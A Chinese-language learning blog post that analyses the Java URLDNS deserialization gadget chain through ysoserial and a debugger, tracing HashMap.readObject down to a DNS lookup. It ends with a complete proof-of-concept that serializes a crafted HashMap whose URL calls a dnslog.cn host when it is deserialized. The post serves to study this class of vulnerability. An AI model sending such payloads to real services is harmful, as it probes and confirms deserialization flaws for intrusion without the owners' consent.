java安全-URLDNS链学习与分析
2022-10-25 15:36:59

0x00、前言

延伸java序列化和java反射的内容,针对一些gadget利用链的一些学习,理解一下利用链的分析过程。
本文学习URLDNS反序列化链,也是java反序列化利用链里面最简单的一条,也利用java反序列化和反射的相关知识,可把前两篇java基础学习的知识运用在利用链里面,记录下利用链相关知识点。

本文角度两个方面,一是从ysoserial工具利用URLDNS角度分析学习,另一个角度是从URLDNS利用链分析学习。

0x01、URLDNS链简述

URLDNS是JAVA复杂的反序列化链中最简单的一条,它不是一条真正意义上的“利⽤链”。因为它所能产生的结果不是命令执⾏,⽽是⼀次DNS请求

URLDNS通常用于快速监测是否存在反序列化漏洞,尤其对无回显的漏洞检测,原因:

  • 只依赖原生类
  • 不限制jdk版本

也就是说URLDN可直接调用java内置库即可进行操作,无需依赖其他第三方组件,同时不限制jdk版本不通带来的语言代码差异。

URLDNS链主要问题产生于HashMap,HashMap重写了readObject()反序列化方法,并且参数可控导致序列化漏洞

HashMap简单介绍:
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。
HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。
HashMap 是无序的,即不会记录插入的顺序。
HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口。

0x02、yso-URLDNS利用链分析

ysoserial环境准备

运行环境:idea
java环境: jdk8
漏洞环境:ysoserial(https://github.com/frohoff/ysoserial)

idea相关配置:
下载ysoserial漏洞环境后在idea打开项目,idea会自动同步pom.xml中的依赖,注意的点是,需要更改文件-项目结构-项目设置-项目中的sdk版本和sdk默认值,如下图即可,不然在编译上可能会报错。随后构建项目即可。


通过pol.xml知道主程序位置

在运行或者debug调试GeneratePayload.java文件,出现下面红色提示表示运行正常,项目部署成功,便可进行urldns链测试。

运行-编辑配置里输入测试参数

相当于使用主程序直接执行命令

yso-URLDNS链分析

yso生成URLDNS利用的序列化数据,主要为URLDNSurl两个参数

在主程序获取参数下断点

进行debug调试,参数args[0]即URLDNS传递给payloadType变量,参数args[1]即url传递给command变量

获取Class类对象,类为GeneratePayload.class.getPackage().getName() + ".payloads." + className对应得就是ysoserial.payloads.URLDNS

对应返回给payloadClass对象

接下来对Class对象进行实例化

跟进getObject()方法,传递command参数也就是传入的url参数

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

getObject方法中建立了URLStreamHandler流对象和HashMap对象,其中handler对象为URLStreamHandler的子类SilentURLStreamHandler
URLStreamHandler handler = new SilentURLStreamHandler();
这次调用的子类SilentURLStreamHandler方法,去规避生成序列化的过程中触发dns,因为调用子类在获取getHostAddress方法时返回Null,并不执行父类URLStreamHandler中的getHostAddress()方法

static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

生成URL对象,并将url参数URLStreamHandler传入URL对象

随后执行HashMapput()方法,将URL对象作为HashMap值,将url参数值作为key的值存储在HashMap
ht.put(u, url);
再通过反射机制将URL对象hashCode值设置为-1
Reflections.setFieldValue(u, "hashCode", -1);

最后返回HashMap对象ht

在获取HashMap对象后对其进行序列化操作,这边没有设置out定向输出的文件,out就没对应数值,对应命令行最后加 > serialize.ser

由于HashMap对序列化writeObject()也进行了重写,所以会调用HashMap的序列化方法进行序列化操作,正常的序列化操作。

遍历HashMapkeyvalue进行序列化写入

到此ysoserial工具的URLDNS利用链就执行完成,输出payload序列化的数据。

yso-URLDNS链反序列化

通过对输出的序列化数据,进行反序列化,触发漏洞。


payload

package ysoserial;

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

public class Payload {
public static void main(final String[] args) throws Exception{
ObjectInputStream obj=new ObjectInputStream(new FileInputStream("C:\\Users\\OKAY\\Desktop\\java-web\\ysoserial\\payload.ser"));
obj.readObject();
}
}

0x03、URLDNS链反序列化分析

正常反序列化readObject阶段

这里就跟着payload的反序列化进行分析下去吧,(当然也可以直接在HashMap重写的readObject方法进行下断点,可以直接分析反序列化触发的漏洞),这里从头来可以理解一下运行流程,但前些正常的反序列化过程比较长有些就略过了,记录下关键的步入点吧。
反序列化处下断点,debug运行

运行后,需要强行步入(Alt+Shift+F7)readObject方法,注:步入会直接跳过
进入后,还需要再次强行步入进入readObject方法

进入后,前面都是正常的一些判断,步过直到调用readObject0()方法


进入readObject0()方法,然后又是一系列的正常操作和判断,再关注到TC的判断如下图,由于TC为Obeject对象,并非String类对象,所以判断为false,进入调用readOrdinaryObject方法(读取二进制数据)

进入readOrdinaryObject方法,这里读取序列化数据,并将序列化数据赋值给对象

后面将对象进行实例化并进行一些判断操作,一直到进入readSerialData方法


readSerialData方法对序列化数据进行读取,一直到调用invokeReadObject方法

通过反射invoke去判断对象是否有重写readObject方法


返回ma.invoke,跟进查看ma.invoke

返回delegate.invoke,跟进delegate.invoke方法

获得返回HashMap重写的readObject方法

跟进返回的invoke0,便进入调用的HashMap重写的readObject方法
到这里,进入HashMap重写的readObject()方法

HashMap反序列化readObject阶段

遍历HashMapkeyvalue的值,并反序列化读取还原keyvalue的值,随后进行hash()运算保证唯一

跟进hash(),hash方法判断key是否为空,不为空就调用URL类中的hashcode()方法,key值为url如下图标识所示

跟进当前hashcode()方法,会首先判断hashcode是否为-1,为-1则进入URLStreamHandler流对象的hashcode()方法

流对象的hashcode()调用了getHostAddress()方法

跟进getHostAddress()方法,返回URL类的u.getHostAddress()方法

跟进u.getHostAddress()方法,调用getByName()从而解析请求dnslog,导致漏洞触发。


到此URLDNS链的反序列化触发访问dnslog就完成。

总结URLDNS反序列化链流程

  1. ObjectInputStream读取HashMap的序列化文件
  2. 通过正常ObjectreadObject反序列化文件获取二进制数据
  3. 对二进制序列化数据进行读取并建立实例对象
  4. 通过对实例对象判断是否存在重写方法
  5. 获取到HashMap对象重写反序列化readObject方法,跳转执行该对象的readObject方法。
  6. 遍历序列化Keyvalue值,进行hash运算
  7. hash方法中key不为空时,调用URL类的hashcode方法
  8. hashcode等于-1时,调用URLStreamHandler流的hashcode方法
  9. hashcode方法中调用了getHostAddress()方法
  10. getHostAddress()方法返回URL类的u.getHostAddress(),
  11. URL类的getHostAddress()方法调用getByName()方法从而解析请求dns

其中步骤1-5为正常反序列化的读取步骤,6-11为获取HashMap对象执行重写readObject方法步骤。

0x04、POC编写

通过上述过程可以理出来代码重要步骤。
主要生成HashMap对象和URL对象

HashMap hm=new HashMap();
URL u=new URL("http://yuk9sy.dnslog.cn");

并通过反射控制URL类中hashcode的值

Field code = Class.forName("java.net.URL").getDeclaredField("hashCode");  //通过反射去控制hashCode值
code.setAccessible(true); //突破封装访问私有变量

放入hashMap put值

hm.put(u,123);  //设置HashMap键值对

通过设置hashcode为-1去触发dns请求

code.set(u,-1);  //通过设置hashcode为-1去触发dns请求

然后就是序列化HashMap对象,最后反序列化。
完整POC:

package ysoserial;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Poc {
public static void main(final String[] args) throws Exception{
HashMap hm=new HashMap(); //创建HashMap对象
URL u=new URL("http://yuk9sy.dnslog.cn"); //创建URL对象
Field code = Class.forName("java.net.URL").getDeclaredField("hashCode"); //通过反射去控制hashCode值
code.setAccessible(true); //突破封装访问私有变量
code.set(u,1); //将hashcode设置不为-1,避免在序列化生成过程触发dns
hm.put(u,123); //设置HashMap键值对
code.set(u,-1); //将hashcode值设置为-1 , 确保在反序列化的时候触发dns

try{
//序列化过程
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./payload.ser"));
outputStream.writeObject(hm);
outputStream.close();

//反序列化过程
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}

0x05、参考链接

https://mp.weixin.qq.com/s/MiBpBHRUkJbEwTcERgEx5w
https://paper.seebug.org/1242/#commons-collections